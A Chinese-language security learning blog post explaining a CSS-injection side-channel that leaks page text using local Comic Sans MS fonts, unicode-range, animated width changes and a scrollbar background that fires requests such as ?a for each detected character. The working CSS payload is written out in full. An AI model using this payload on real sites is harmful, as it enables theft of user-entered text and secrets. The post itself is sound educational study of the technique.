本篇介紹一種更進階、不依賴外部字體檔案 的 CSS 洩漏技巧,僅透過瀏覽器內建的字體,就能偷偷推測使用者輸入的文字內容!
這個方法的核心邏輯是:
使用動畫讓一段文字逐漸「顯示」出來
每次增加一個字元寬度,讓內容從後綴漸漸「移動」到前綴行
若某字元存在,將觸發垂直 scrollbar,就能作為 side-channel 洩漏
@font-face
搭配 unicode-range
偵測字元@font-face
可以為某些字元(Unicode 範圍)指定字體當該字元在畫面中出現時,瀏覽器才會啟用對應字體
若這字體的樣式造成高度變化,就會觸發 scrollbar!
使用內建字體如 Comic Sans MS(高度較高)
讓它成為我們的「字元偵測器」!
@font-face {
font-family: has_A;
src: local('Comic Sans MS');
unicode-range: U+41; /* A */
}
@font-face {
font-family: has_B;
src: local('Comic Sans MS');
unicode-range: U+42; /* B */
}
/* 持續定義其他字元... */
div.leak {
overflow-y: auto; /* 開啟垂直 scroll bar 偵測 */
overflow-x: hidden;
height: 40px;
font-size: 0px;
font-family: rest;
width: 0px;
animation: loop step-end 200s 0s, trychars step-end 2s 0s;
animation-iteration-count: 1, infinite;
}
div.leak::first-line {
font-size: 30px; /* 第一行顯示出可見文字 */
text-transform: uppercase;
}
@keyframes loop
– 逐步增加寬度(模擬逐字顯示)@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
/* 可依需要調整 */
7% { width: 0px }
}
@keyframes trychars
– 輪流切換字體,偵測出現的字元@keyframes trychars {
0% { font-family: rest; }
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
/* 持續偵測所有可能字元 */
}
Scroll bar Side-channel:
當某字元成功被渲染成 Comic Sans(且高度增加),會觸發 scroll bar 出現。我們再定義 scroll bar 背景來進行洩漏:
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
這會讓有出現的字元觸發對 ?a
、?b
等的 request。
攻擊技巧揭露自 "Slackers": https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/
不需要外部字體(只用 local('Comic Sans MS'))
可大量嘗試字元(從 AZ、09 等)
結合動畫可精準控制「逐字增長」並拆出 prefix
建立 @font-face
對應所有想猜的字元
設定動畫,每次增加文字寬度
當新字元出現於畫面時,若觸發 scrollbar,即可透過 background 洩漏字元
重複動作 → 逐步洩露整段文字
技術名稱 | 技巧要點 |
---|---|
unicode-range | 只在對應字元出現時才載入特定字體 |
local(font) | 不依賴外部資源也能測試字元 |
first-line + scroll | 用於分離 prefix 並製造 scrollbar 偵測 |
@keyframes + width | 模擬逐字 reveal,搭配動畫達成 side-channel |
--leak + background | 洩漏機制:改變 scrollbar 背景送出資料 |
今天的介紹就差不多到這邊~ 對於 css 相關的攻擊參考網站我放在 Reference~
可以參考參考
透過寫鐵人賽文章,我開始反思自己時間管控能力XD
剛好最近很努力在加強自己各方面的能力,順便藉此多增加自己對於資安的知識!
期望之後也能再多學習新的課程,並且考考看資安證照 ~ 當成長期目標囉 ~~